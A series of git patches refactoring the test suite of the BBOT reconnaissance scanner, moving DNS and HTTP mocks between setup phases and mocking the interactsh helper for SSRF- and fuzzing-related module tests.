scan5.helpers.dns._mock_dns(dns_table) events = [] async for event in scan5.async_start(): @@ -186,7 +184,6 @@ async def test_python_output_matches_json(bbot_scanner): "blacklanternsecurity.com", config={"speculate": True, "dns": {"minimal": False}, "scope": {"report_distance": 10}}, ) - await scan._prep() await scan.helpers.dns._mock_dns({"blacklanternsecurity.com": {"A": ["127.0.0.1"]}}) events = [e.json() async for e in scan.async_start()] output_json = scan.home / "output.json" @@ -235,7 +232,6 @@ async def test_exclude_cdn(bbot_scanner, monkeypatch): # first, run a scan with no CDN exclusion scan = bbot_scanner("evilcorp.com") - await scan._prep() await scan.helpers._mock_dns(dns_mock) from bbot.modules.base import BaseModule @@ -270,7 +266,6 @@ async def handle_event(self, event): preset.parse_args() assert preset.bake().to_yaml() == "modules:\n- portfilter\n" scan = bbot_scanner("evilcorp.com", preset=preset) - await scan._prep() await scan.helpers._mock_dns(dns_mock) dummy = DummyModule(scan=scan) await scan._prep() @@ -286,5 +281,6 @@ async def handle_event(self, event): async def test_scan_name(bbot_scanner): scan = bbot_scanner("evilcorp.com", name="test_scan_name") + await scan._prep() assert scan.name == "test_scan_name" assert scan.preset.scan_name == "test_scan_name" diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index ac2d8c0426..433681e246 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -5,6 +5,9 @@ class TestScopeBaseline(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx"] + config_overrides = { + "omit_event_types": [] + } async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": "/"} diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index d03b68d161..481052dc8e 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -620,6 +620,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): # make sure URL is detected normally scan = bbot_scanner("http://127.0.0.1:8888/", presets=["spider"], config={"excavate": True}, debug=True) + await scan._prep() assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == {r"/.*(sign|log)[_-]?out"} events = [e async for e in scan.async_start()] urls = [e.data for e in events if e.type == "URL"] @@ -634,6 +635,7 @@ async def test_blacklist_regex(bbot_scanner, bbot_httpserver): config={"excavate": True}, debug=True, ) + await scan._prep() assert len(scan.target.blacklist) == 2 assert scan.target.blacklist.blacklist_regexes assert {r.pattern for r in scan.target.blacklist.blacklist_regexes} == { diff --git a/bbot/test/test_step_2/module_tests/test_module_affiliates.py b/bbot/test/test_step_2/module_tests/test_module_affiliates.py index 68398ca480..6b497e4adf 100644 --- a/bbot/test/test_step_2/module_tests/test_module_affiliates.py +++ b/bbot/test/test_step_2/module_tests/test_module_affiliates.py @@ -5,7 +5,7 @@ class TestAffiliates(ModuleTestBase): targets = ["8.8.8.8"] config_overrides = {"dns": {"minimal": False}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "8.8.8.8.in-addr.arpa": {"PTR": ["dns.google"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_aggregate.py b/bbot/test/test_step_2/module_tests/test_module_aggregate.py index 583fcaec79..ba1d2edd8a 100644 --- a/bbot/test/test_step_2/module_tests/test_module_aggregate.py +++ b/bbot/test/test_step_2/module_tests/test_module_aggregate.py @@ -4,7 +4,7 @@ class TestAggregate(ModuleTestBase): config_overrides = {"dns": {"minimal": False}, "scope": {"report_distance": 1}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns({"blacklanternsecurity.com": {"A": ["1.2.3.4"]}}) def check(self, module_test, events): diff --git a/bbot/test/test_step_2/module_tests/test_module_asn.py b/bbot/test/test_step_2/module_tests/test_module_asn.py index c9fdd878f0..e66d37127c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asn.py +++ b/bbot/test/test_step_2/module_tests/test_module_asn.py @@ -22,7 +22,7 @@ async def setup_after_prep(self, module_test): # Point ASNHelper to local test harness from bbot.core.helpers.asn import ASNHelper - module_test.monkeypatch.setattr(ASNHelper, "asndb_url", "http://127.0.0.1:8888/v1/ip/") + module_test.monkeypatch.setattr(ASNHelper, "asndb_ip_url", "http://127.0.0.1:8888/v1/ip/") expect_args = {"method": "GET", "uri": "/v1/ip/8.8.8.8"} respond_args = { @@ -37,5 +37,5 @@ def check(self, module_test, events): asn_events = [e for e in events if e.type == "ASN"] assert asn_events, "No ASN event produced" - # Verify name field is not the unknown placeholder - assert any(e.data.get("name") and e.data.get("name") != "unknown" for e in asn_events) + # Verify ASN number is a valid integer + assert any(isinstance(e.data, int) and e.data > 0 for e in asn_events) diff --git a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py index 5cb2f36033..39aca71341 100644 --- a/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py +++ b/bbot/test/test_step_2/module_tests/test_module_asset_inventory.py @@ -9,7 +9,7 @@ class TestAsset_Inventory(ModuleTestBase): masscan_output = """{ "ip": "127.0.0.1", "timestamp": "1680197558", "ports": [ {"port": 9999, "proto": "tcp", "status": "open", "reason": "syn-ack", "ttl": 54} ] }""" - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): async def run_masscan(command, *args, **kwargs): if "masscan" in command[:2]: targets = open(command[11]).read().splitlines() diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py b/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py index 3b172eaaba..f057dc9a52 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py @@ -19,7 +19,7 @@ class TestBucket_Azure_NoDup(ModuleTestBase): module_name = "bucket_azure" config_overrides = {"cloudcheck": True} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="https://tesla.blob.core.windows.net/tesla?restype=container", text="", @@ -38,18 +38,20 @@ def check(self, module_test, events): assert bucket_event.data["url"] == "https://tesla.blob.core.windows.net/" assert ( bucket_event.discovery_context - == f"bucket_azure tried bucket variations of {event.data} and found {{event.type}} at {url}" + == f"bucket_azure tried 3 bucket variations of tesla.com and found STORAGE_BUCKET at https://tesla.blob.core.windows.net/tesla?restype=container" ) -class TestBucket_Azure_NoDup(TestBucket_Azure_NoDup): +class TestBucket_Azure_NoDup_suppress_chain_dupes(TestBucket_Azure_NoDup): """ This tests _suppress_chain_dupes functionality to make sure it works as expected """ async def setup_after_prep(self, module_test): + # Call parent setup first + await super().setup_after_prep(module_test) + from bbot.core.event.base import STORAGE_BUCKET - module_test.monkeypatch.setattr(STORAGE_BUCKET, "_suppress_chain_dupes", False) def check(self, module_test, events): diff --git a/bbot/test/test_step_2/module_tests/test_module_c99.py b/bbot/test/test_step_2/module_tests/test_module_c99.py index ce9c7c8878..5721776483 100644 --- a/bbot/test/test_step_2/module_tests/test_module_c99.py +++ b/bbot/test/test_step_2/module_tests/test_module_c99.py @@ -69,8 +69,8 @@ def check(self, module_test, events): class TestC99AbortThreshold2(TestC99AbortThreshold1): targets = ["blacklanternsecurity.com", "evilcorp.com"] - async def setup_before_prep(self, module_test): - await super().setup_before_prep(module_test) + async def setup_after_prep(self, module_test): + await super().setup_after_prep(module_test) await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_dehashed.py b/bbot/test/test_step_2/module_tests/test_module_dehashed.py index e566753502..4821fc5458 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dehashed.py +++ b/bbot/test/test_step_2/module_tests/test_module_dehashed.py @@ -8,7 +8,7 @@ class TestDehashed(ModuleTestBase): "modules": {"dehashed": {"api_key": "deadbeef"}}, } - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", @@ -119,7 +119,7 @@ def check(self, module_test, events): class TestDehashedHTTPError(TestDehashed): - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.dehashed.com/v2/search", method="POST", diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index 8accc7c300..014ffe9ff1 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -46,7 +46,7 @@ class TestDotnetnuke(ModuleTestBase): """ - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): # Simulate DotNetNuke Instance expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": dotnetnuke_http_response} @@ -137,6 +137,9 @@ class TestDotnetnuke_blindssrf(ModuleTestBase): targets = ["http://127.0.0.1:8888"] module_name = "dotnetnuke" modules_overrides = ["httpx", "dotnetnuke"] + config_overrides = { + "interactsh_disable": False, + } def request_handler(self, request): subdomain_tag = None @@ -147,16 +150,21 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("dotnetnuke_blindssrf") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) - - async def setup_after_prep(self, module_test): + + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + # Simulate DotNetNuke Instance expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": dotnetnuke_http_response} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) + async def setup_after_prep(self, module_test): expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index c0911fd661..d1abb96680 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -15,6 +15,9 @@ def extract_subdomain_tag(data): class TestGeneric_SSRF(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx", "generic_ssrf"] + config_overrides = { + "interactsh_disable": False, + } def request_handler(self, request): subdomain_tag = None @@ -34,10 +37,15 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) - + + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) + async def setup_after_prep(self, module_test): expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) diff --git a/bbot/test/test_step_2/module_tests/test_module_github_org.py b/bbot/test/test_step_2/module_tests/test_module_github_org.py index d8003fd2a5..fc08853bbe 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_org.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_org.py @@ -5,11 +5,13 @@ class TestGithub_Org(ModuleTestBase): config_overrides = {"modules": {"github_org": {"api_key": "asdf"}}} modules_overrides = ["github_org", "speculate"] - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( {"blacklanternsecurity.com": {"A": ["127.0.0.99"]}, "github.com": {"A": ["127.0.0.99"]}} ) + async def setup_before_prep(self, module_test): + module_test.httpx_mock.add_response( url="https://api.github.com/zen", match_headers={"Authorization": "token asdf"} ) diff --git a/bbot/test/test_step_2/module_tests/test_module_host_header.py b/bbot/test/test_step_2/module_tests/test_module_host_header.py index a2d69e9b57..e589f1940e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_host_header.py +++ b/bbot/test/test_step_2/module_tests/test_module_host_header.py @@ -33,7 +33,7 @@ def request_handler(self, request): return Response("Alive, host is: defaulthost.com", status=200) - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("host_header") module_test.monkeypatch.setattr( module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 21b5169527..546ecc815c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1432,7 +1432,7 @@ def request_handler(self, request): self.interactsh_mock_instance.mock_interaction(subdomain_tag) return Response(parameter_block, status=200) - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") module_test.monkeypatch.setattr( diff --git a/bbot/test/test_step_2/module_tests/test_module_neo4j.py b/bbot/test/test_step_2/module_tests/test_module_neo4j.py index c5df1e4748..ea05a77ed5 100644 --- a/bbot/test/test_step_2/module_tests/test_module_neo4j.py +++ b/bbot/test/test_step_2/module_tests/test_module_neo4j.py @@ -4,7 +4,7 @@ class TestNeo4j(ModuleTestBase): config_overrides = {"modules": {"neo4j": {"uri": "bolt://127.0.0.1:11111"}}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): # install neo4j deps_pip = module_test.preloaded["neo4j"]["deps"]["pip"] await module_test.scan.helpers.depsinstaller.pip_install(deps_pip) diff --git a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py index b88595be01..9961883039 100644 --- a/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py +++ b/bbot/test/test_step_2/module_tests/test_module_nmap_xml.py @@ -25,7 +25,7 @@ async def handle_event(self, event): {"host": str(event.host), "port": event.port, "protocol": "https"}, "PROTOCOL", parent=event ) - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): self.dummy_module = self.DummyModule(module_test.scan) module_test.scan.modules["dummy_module"] = self.dummy_module await module_test.mock_dns( diff --git a/bbot/test/test_step_2/module_tests/test_module_portfilter.py b/bbot/test/test_step_2/module_tests/test_module_portfilter.py index 7ffd106a71..b5dca33598 100644 --- a/bbot/test/test_step_2/module_tests/test_module_portfilter.py +++ b/bbot/test/test_step_2/module_tests/test_module_portfilter.py @@ -4,7 +4,7 @@ class TestPortfilter_disabled(ModuleTestBase): modules_overrides = [] - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): from bbot.modules.base import BaseModule class DummyModule(BaseModule): diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py index 3731220488..0793fcc9a2 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_dns.py @@ -4,7 +4,7 @@ class TestShodan_DNS(ModuleTestBase): config_overrides = {"modules": {"shodan": {"api_key": "asdf"}}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): module_test.httpx_mock.add_response( url="https://api.shodan.io/api-info?key=asdf", ) diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py index 482a355856..b4cd0a6344 100644 --- a/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_idb.py @@ -4,7 +4,7 @@ class TestShodan_IDB(ModuleTestBase): config_overrides = {"dns": {"minimal": False}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["1.2.3.4"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_speculate.py b/bbot/test/test_step_2/module_tests/test_module_speculate.py index 777568ef8d..54dce51651 100644 --- a/bbot/test/test_step_2/module_tests/test_module_speculate.py +++ b/bbot/test/test_step_2/module_tests/test_module_speculate.py @@ -27,7 +27,7 @@ class TestSpeculate_OpenPorts(ModuleTestBase): modules_overrides = ["speculate", "certspotter", "shodan_idb"] config_overrides = {"speculate": True} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "evilcorp.com": {"A": ["127.0.254.1"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py index c2bb827f35..c8cbae3fce 100644 --- a/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py +++ b/bbot/test/test_step_2/module_tests/test_module_subdomainradar.py @@ -4,7 +4,7 @@ class TestSubDomainRadar(ModuleTestBase): config_overrides = {"modules": {"subdomainradar": {"api_key": "asdf"}}} - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns( { "blacklanternsecurity.com": {"A": ["127.0.0.88"]}, diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index 18c215fb8b..d632946522 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -247,8 +247,7 @@ async def setup_before_prep(self, module_test): # Call parent setup first await super().setup_before_prep(module_test) - # Set up DNS mocking for target.test - await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}}) + # Mock wordcloud.mutations to return predictable results for "target" def mock_mutations(self, word, **kwargs): @@ -265,6 +264,10 @@ async def setup_after_prep(self, module_test): # Keep request handler-based HTTP server await super().setup_after_prep(module_test) + + # Set up DNS mocking for target.test + await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}}) + # Emit URL event manually and ensure resolved_hosts from bbot.modules.base import BaseModule @@ -355,9 +358,9 @@ class TestVirtualhostWordcloud(VirtualhostTestBase): } } - async def setup_before_prep(self, module_test): - # Call parent setup first - await super().setup_before_prep(module_test) + async def setup_after_prep(self, module_test): + # Keep request handler-based HTTP server + await super().setup_after_prep(module_test) # Set up DNS mocking for wordcloud.test await module_test.mock_dns({"wordcloud.test": {"A": ["127.0.0.1"]}}) @@ -368,10 +371,6 @@ def mock_wordcloud_keys(self): module_test.monkeypatch.setattr("bbot.core.helpers.wordcloud.WordCloud.keys", mock_wordcloud_keys) - async def setup_after_prep(self, module_test): - # Keep request handler-based HTTP server - await super().setup_after_prep(module_test) - # Emit URL event manually and ensure resolved_hosts from bbot.modules.base import BaseModule diff --git a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py index bfa186707b..7f210b05c1 100644 --- a/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py +++ b/bbot/test/test_step_2/template_tests/test_template_subdomain_enum.py @@ -100,7 +100,7 @@ class TestSubdomainEnumWildcardBaseline(ModuleTestBase): "test.walmart.cn": {"A": ["127.0.0.1"]}, } - async def setup_before_prep(self, module_test): + async def setup_after_prep(self, module_test): await module_test.mock_dns(self.dns_mock_data) self.queries = [] From 183a6f0b6f18a802cd3d52ea9ba8848601c08dd8 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 12:01:11 -0400 Subject: [PATCH 068/129] yet even more test fixes still --- bbot/test/test_step_1/test_scope.py | 4 +--- .../module_tests/test_module_bucket_azure.py | 5 +++-- .../module_tests/test_module_dotnetnuke.py | 7 ++++--- .../module_tests/test_module_generic_ssrf.py | 7 ++++--- .../module_tests/test_module_github_org.py | 1 - .../module_tests/test_module_host_header.py | 13 +++++++++---- .../module_tests/test_module_lightfuzz.py | 13 +++++++++---- .../module_tests/test_module_virtualhost.py | 3 --- 8 files changed, 30 insertions(+), 23 deletions(-) diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index 433681e246..507d0dff4b 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -5,9 +5,7 @@ class TestScopeBaseline(ModuleTestBase): targets = ["http://127.0.0.1:8888"] modules_overrides = ["httpx"] - config_overrides = { - "omit_event_types": [] - } + config_overrides = {"omit_event_types": []} async def setup_after_prep(self, module_test): expect_args = {"method": "GET", "uri": "/"} diff --git a/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py b/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py index f057dc9a52..c0266873af 100644 --- a/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py +++ b/bbot/test/test_step_2/module_tests/test_module_bucket_azure.py @@ -38,7 +38,7 @@ def check(self, module_test, events): assert bucket_event.data["url"] == "https://tesla.blob.core.windows.net/" assert ( bucket_event.discovery_context - == f"bucket_azure tried 3 bucket variations of tesla.com and found STORAGE_BUCKET at https://tesla.blob.core.windows.net/tesla?restype=container" + == "bucket_azure tried 3 bucket variations of tesla.com and found STORAGE_BUCKET at https://tesla.blob.core.windows.net/tesla?restype=container" ) @@ -50,8 +50,9 @@ class TestBucket_Azure_NoDup_suppress_chain_dupes(TestBucket_Azure_NoDup): async def setup_after_prep(self, module_test): # Call parent setup first await super().setup_after_prep(module_test) - + from bbot.core.event.base import STORAGE_BUCKET + module_test.monkeypatch.setattr(STORAGE_BUCKET, "_suppress_chain_dupes", False) def check(self, module_test, events): diff --git a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py index 014ffe9ff1..48f35e0f81 100644 --- a/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py +++ b/bbot/test/test_step_2/module_tests/test_module_dotnetnuke.py @@ -150,15 +150,16 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("dotnetnuke_blindssrf") - + # Mock at the helper creation level BEFORE modules are set up def mock_interactsh_factory(*args, **kwargs): return self.interactsh_mock_instance - + # Apply the mock to the core helpers so modules get the mock during setup from bbot.core.helpers.helper import ConfigAwareHelper + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) - + # Simulate DotNetNuke Instance expect_args = {"method": "GET", "uri": "/"} respond_args = {"response_data": dotnetnuke_http_response} diff --git a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py index d1abb96680..23e6c7c731 100644 --- a/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py +++ b/bbot/test/test_step_2/module_tests/test_module_generic_ssrf.py @@ -37,15 +37,16 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("generic_ssrf") - + # Mock at the helper creation level BEFORE modules are set up def mock_interactsh_factory(*args, **kwargs): return self.interactsh_mock_instance - + # Apply the mock to the core helpers so modules get the mock during setup from bbot.core.helpers.helper import ConfigAwareHelper + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) - + async def setup_after_prep(self, module_test): expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) diff --git a/bbot/test/test_step_2/module_tests/test_module_github_org.py b/bbot/test/test_step_2/module_tests/test_module_github_org.py index fc08853bbe..96054d863c 100644 --- a/bbot/test/test_step_2/module_tests/test_module_github_org.py +++ b/bbot/test/test_step_2/module_tests/test_module_github_org.py @@ -11,7 +11,6 @@ async def setup_after_prep(self, module_test): ) async def setup_before_prep(self, module_test): - module_test.httpx_mock.add_response( url="https://api.github.com/zen", match_headers={"Authorization": "token asdf"} ) diff --git a/bbot/test/test_step_2/module_tests/test_module_host_header.py b/bbot/test/test_step_2/module_tests/test_module_host_header.py index e589f1940e..00f92d3bac 100644 --- a/bbot/test/test_step_2/module_tests/test_module_host_header.py +++ b/bbot/test/test_step_2/module_tests/test_module_host_header.py @@ -33,11 +33,16 @@ def request_handler(self, request): return Response("Alive, host is: defaulthost.com", status=200) - async def setup_after_prep(self, module_test): + async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("host_header") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) + + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) async def setup_after_prep(self, module_test): expect_args = re.compile("/") diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 546ecc815c..17cecf1471 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -1432,12 +1432,17 @@ def request_handler(self, request): self.interactsh_mock_instance.mock_interaction(subdomain_tag) return Response(parameter_block, status=200) - async def setup_after_prep(self, module_test): + async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("lightfuzz") - module_test.monkeypatch.setattr( - module_test.scan.helpers, "interactsh", lambda *args, **kwargs: self.interactsh_mock_instance - ) + # Mock at the helper creation level BEFORE modules are set up + def mock_interactsh_factory(*args, **kwargs): + return self.interactsh_mock_instance + + # Apply the mock to the core helpers so modules get the mock during setup + from bbot.core.helpers.helper import ConfigAwareHelper + + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) async def setup_after_prep(self, module_test): expect_args = re.compile("/") diff --git a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py index d632946522..6281d086ad 100644 --- a/bbot/test/test_step_2/module_tests/test_module_virtualhost.py +++ b/bbot/test/test_step_2/module_tests/test_module_virtualhost.py @@ -247,8 +247,6 @@ async def setup_before_prep(self, module_test): # Call parent setup first await super().setup_before_prep(module_test) - - # Mock wordcloud.mutations to return predictable results for "target" def mock_mutations(self, word, **kwargs): # Return realistic mutations that would be found for "target" @@ -264,7 +262,6 @@ async def setup_after_prep(self, module_test): # Keep request handler-based HTTP server await super().setup_after_prep(module_test) - # Set up DNS mocking for target.test await module_test.mock_dns({"target.test": {"A": ["127.0.0.1"]}}) From 2d5498ea7acf72332c81fc59962a24e085287f30 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 12:05:28 -0400 Subject: [PATCH 069/129] ruff format --- .../test/test_step_2/module_tests/test_module_host_header.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/bbot/test/test_step_2/module_tests/test_module_host_header.py b/bbot/test/test_step_2/module_tests/test_module_host_header.py index 00f92d3bac..8eb137022e 100644 --- a/bbot/test/test_step_2/module_tests/test_module_host_header.py +++ b/bbot/test/test_step_2/module_tests/test_module_host_header.py @@ -35,13 +35,14 @@ def request_handler(self, request): async def setup_before_prep(self, module_test): self.interactsh_mock_instance = module_test.mock_interactsh("host_header") - + # Mock at the helper creation level BEFORE modules are set up def mock_interactsh_factory(*args, **kwargs): return self.interactsh_mock_instance - + # Apply the mock to the core helpers so modules get the mock during setup from bbot.core.helpers.helper import ConfigAwareHelper + module_test.monkeypatch.setattr(ConfigAwareHelper, "interactsh", mock_interactsh_factory) async def setup_after_prep(self, module_test): From ee03e6111bd07dc824a3e53d646d69ab8da10fbe Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 12:27:52 -0400 Subject: [PATCH 070/129] fix even yet more additional tests --- bbot/test/test_step_1/test_dns.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 1852819a5c..3f69ee872b 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -794,6 +794,7 @@ async def test_dns_graph_structure(bbot_scanner): @pytest.mark.asyncio async def test_hostname_extraction(bbot_scanner): scan = bbot_scanner("evilcorp.com", config={"dns": {"minimal": False}}) + await scan._prep() await scan.helpers.dns._mock_dns( { "evilcorp.com": { @@ -840,6 +841,7 @@ async def test_dns_helpers(bbot_scanner): # make sure system nameservers are excluded from use by DNS brute force brute_nameservers = tempwordlist(["1.2.3.4", "8.8.4.4", "4.3.2.1", "8.8.8.8"]) scan = bbot_scanner(config={"dns": {"brute_nameservers": brute_nameservers}}) + await scan._prep() scan.helpers.dns.system_resolvers = ["8.8.8.8", "8.8.4.4"] resolver_file = await scan.helpers.dns.brute.resolver_file() resolvers = set(scan.helpers.read_file(resolver_file)) From aab237a7bcf4afec3b8a27bba9df2f5ffdeb6985 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Tue, 23 Sep 2025 16:43:53 -0400 Subject: [PATCH 071/129] ugggggggggggggggggggggggggggggg tests --- bbot/cli.py | 18 ++- bbot/scanner/preset/preset.py | 8 +- bbot/test/bbot_fixtures.py | 4 + bbot/test/conftest.py | 19 +++ bbot/test/test_step_1/test_cli.py | 2 +- bbot/test/test_step_1/test_events.py | 24 +++- bbot/test/test_step_1/test_helpers.py | 1 + .../test_step_1/test_manager_deduplication.py | 11 ++ 